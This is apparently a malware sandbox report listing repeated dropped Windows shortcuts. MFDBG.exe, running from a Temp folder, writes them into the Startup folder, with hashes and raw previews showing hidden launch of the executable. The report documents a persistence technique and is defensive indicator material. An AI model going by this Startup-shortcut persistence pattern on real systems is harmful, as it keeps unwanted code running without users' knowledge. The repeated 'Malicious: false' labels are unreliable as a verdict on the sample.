File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9249606287194005
Encrypted:	false
SSDEEP:	24:8F9Bfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ZBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	18376A85E7CCB80EFF0D36BAAAB606D0
SHA1:	D09A09CB0B696ABF7F031220A0C5A309E4833CD5
SHA-256:	22D1EF2D5A53C5344FEFF6AFE6A2E041F303BAFB71368D79250765964CFD0994
SHA-512:	7A7750741595CC0E5776F9B9744148440A29FD902044D3C568D7525A3E91E9F0BDD83589C132BE9EFE1C1D7CE73141283C773758DF9848FDDAFFF73AB04A0264
Malicious:	false
Preview:	L..................F....".......d.....3&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_33582365577540858ffc866599620807.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926512319505719
Encrypted:	false
SSDEEP:	24:8lBfeQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8n2FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	61CD186A35FA44088098E6B6E56349B6
SHA1:	49E570E0FB7F22DCC74F8404057E1AB55F3ADEAF
SHA-256:	F5ED017FF563186A2DCF0E7715116358711AC4A7757E3E925C85140C51BD420B
SHA-512:	8A7F031596FDE0B9600FAE2BAC88BB417EEFAD803885CF705C948425518153EF501D52E7B2CEAC6E47D0C1C0F5BC68F70DD761F204FCC4945728C988F0179EFC
Malicious:	false
Preview:	L..................F....".......d....{yRd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...6UrRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3387e19066864f919738274f26e2507f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.912543296422426
Encrypted:	false
SSDEEP:	24:8aBfx8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8YeEvZ0yRO7DLO2zdxdRd1kyg
MD5:	526DC9CFD9FC5FF3F21C9D8850FB0D47
SHA1:	C2AA104BF8D5FAB93C26940C14D7196CE3D07DA6
SHA-256:	A0C4171B41258517509DAC5D275D0A48912CF80620CB07F881DB4467C5845E1C
SHA-512:	48AC31C35DD91782966D814A527FBB4FCDC8014666D96D3E30DE459B07A9E1A0C93068B143492AC61E96739FD052D5DFEE3DDEFFD18F2E04415AE9B392F61838
Malicious:	false
Preview:	L..................F....".......d....D)9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_33ea00c4b32e405198b8a47f1065de49.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92764378427677
Encrypted:	false
SSDEEP:	24:8gnQBfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8gneGEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D3183F142EA273AD2BAF45C2F39AEB99
SHA1:	E2750FB92C8FC74C80C0426FC8DFB56203AB6F66
SHA-256:	F028AB9C59A926F41D67B4D6086A10C8E4FF6F19682788D617E51F69C8AA164E
SHA-512:	78AC5DD5E7E92DA84C075D4838393A351D519F3A53A666AD35CCF47CA5499B158E5718C63903A7924FC8ED1228AE665D9575BD3DBFD4BE5435DB9F28725F299D
Malicious:	false
Preview:	L..................F....".......d.....\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....X\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_33ff2882aef7466398085e48878a9d41.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921692341543588
Encrypted:	false
SSDEEP:	24:8ABfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8OpEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BC90B653F85F082CF501A9D13DC31E51
SHA1:	164A3B29570D0C5EA963382435DEDBD812E0B353
SHA-256:	0AC60D8EFAA55F9FE1F7BA1F0E5D46188218D96997088FDC9BBC3D41FBBA1E7E
SHA-512:	40EBCE43AC16341C5282FA7307CB72900AC5DEE0A43989E601A13D0B0DD309DBCAFADF7C77269A9954A964BA5F701FF7735624FB9397EA8393EFD887E33204D4
Malicious:	false
Preview:	L..................F....".......d....zA^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....K^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_34268db02fa248cdb69ee5b1b5e2d999.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:12 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925537740641915
Encrypted:	false
SSDEEP:	24:8xvTBfo+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8xdgTEvZ0yRO7DLO2zdxdRd1kyg
MD5:	04AA084B2B6D2371F4166B9BAA649E90
SHA1:	A19FEA43C09F21A64DCBB7FA2697590045910E40
SHA-256:	EB45F82081E230AFD177980A3EE672ABEBCABBC57BB705E86B6EFC162998901C
SHA-512:	615EE968426A699D1E1290AB99F0B931A3587D30B0566C06B33410A474ACF3BDF678C785333EE1F61854EE772C2856CD38B9E6EE3AE2AA7D50AD7AF4DF6A9AE1
Malicious:	false
Preview:	L..................F....".......d....$.$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....&b$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_346f3918d0634cfca92221133c7ac173.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918168112468699
Encrypted:	false
SSDEEP:	24:8YBfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8WpEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5420F35FE16E6AC595B9682C1E67614F
SHA1:	05213E3F215F8D5F60550EB099379F723E8F204D
SHA-256:	33A2F7997EE1A08E1BAB450600C9F6BE1BB538CABD00F7E10B86EF6882D74218
SHA-512:	297C475E5BE00AE5166733E7174B35BF5E51404EA7972972AF3EBB3E6F69A805EF6B3BDC079E1D9C8D449CEC02C01296AF43801B6D9599AF5EC9249CB76D8204
Malicious:	false
Preview:	L..................F....".......d.....K^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....K^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_348a223f8378481dbef68349d3ac1106.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9129722450168165
Encrypted:	false
SSDEEP:	24:88BfU98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8y5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	F9C40E31F435E6866E69CCDAD3AA1CA8
SHA1:	C9072C4D476372532D1F437579366EDE59182962
SHA-256:	4D283DF79FF2F987FA5556060F35E3D9E6B826A01F10B09F4D9CFDF375CE32C3
SHA-512:	4AA186A5846ADB364A7DC210081245D2768F6BE4585379491E1AEDDBD9769B33179F5953B396B5AEDA866FAF7816C7D02B3E16C16F8515C284CC19F0C525BE48
Malicious:	false
Preview:	L..................F....".......d......Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Sd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_349f03554fc44ee38a696afc314394fa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927643784276771
Encrypted:	false
SSDEEP:	24:8aBfUp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Y8OEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F9E9943B221CA4FB0C55240B0056702F
SHA1:	CA7CCB2E6F70DA5CC85C22700611D982D370FE40
SHA-256:	054DD7AB931198224C9811962C28FE7626DEA54258F072943053CC67C01D763D
SHA-512:	0DDC87AFF62AAA28351747ACA4EE5E72DFB71ECC9FCDDB5BC1308F6A9B37AD3A7BC103F287EB6FD630F420ADCA0FD0563CD1F93FB2531DDA5279AD845EB97ECA
Malicious:	false
Preview:	L..................F....".......d...I..}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_34d321d26e9942bf84ff6a8494cdc02f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92544975344358
Encrypted:	false
SSDEEP:	24:8z2Bfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8AIEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D144EB26EE16761C30F0ECEB465FF51F
SHA1:	0BCB1A1D2BA3D85BF95D8EF4A5E3D5B5D54994C2
SHA-256:	DF60CE521E7988A721B0C6D892BB10E6FA9039272177604B20F555948D2C8849
SHA-512:	34CE92DB427368CCE97EB8FFA3C1922FC8AAD5CE762D2C7A2201403F4AA74D3DCC9DC443A07DFA588AB3072CA81DF54273639110595D64BC778DB4355203FB96
Malicious:	false
Preview:	L..................F....".......d...w..\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...]/.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_35018bb600c2418ab931bbf1dc9fdd21.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93116801335166
Encrypted:	false
SSDEEP:	24:84Bfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:82hEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E93E6428225D913859B6229A1423A5C3
SHA1:	2AB695B17BDD89D5D3F2472F887E8C114337443B
SHA-256:	FDBB4819B1DA00D646D906801EEC21955F21C50A41F51B695E45B0CD5F837B7A
SHA-512:	DC81EA98A7144C50A324AB4F0E05A91236C000CC5CE0DEC9278C11356BF9D312ED723448241D45ABDC59E1936C4C82F6D0099AAB65F0DB7014BE3EC6D9FC0EE1
Malicious:	false
Preview:	L..................F....".......d......Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_35423a6549fb4761beb31802871d049e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923542443279367
Encrypted:	false
SSDEEP:	24:8E4BfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8tGEvZ0yRO7DLO2zdxdRd1kyg
MD5:	67F74B2142AE499B9F9CA4910A10F655
SHA1:	C6F820D62DF0A9209C48AFE5301B6EF327C2D617
SHA-256:	047EBBB3C9159C80273A044F1F8DDABB105F6ABD59769E6B4951D4427F14301F
SHA-512:	6FAF9F52FD23DD9F120B6E207D7474BC06F2886DBE0A76FE5A64454C5C5233FAE721EE8E0B2C36B2001E646FE5576A76BFB234A9BE5E38F4F4285F3515A7272B
Malicious:	false
Preview:	L..................F....".......d...,O.\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....X\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_355f22a4cf3a4347a4e9cc438f4e54ec.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9222325865234
Encrypted:	false
SSDEEP:	24:83Bfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8RYEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2520AFB50E08A872D0715AD18E9B527A
SHA1:	BCE39F4A571D79016D839FBD6DAD814619392111
SHA-256:	ABDB737CAE113975FCACD62D94F8D3FED3C527CE66AC833D8FF0CE113C19C426
SHA-512:	3F8DAA7A7DA7AC32DC662ED26787DB4AE293BBE7CA247D3FF306529EFC2804A9B7C66FD9CF516E59231BC72FEA5F979C297C05F18A83E8CA3D0577B4F39818CC
Malicious:	false
Preview:	L..................F....".......d....zJ\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....T$\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_356a0e5fb5b841049dd65b87d1702598.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
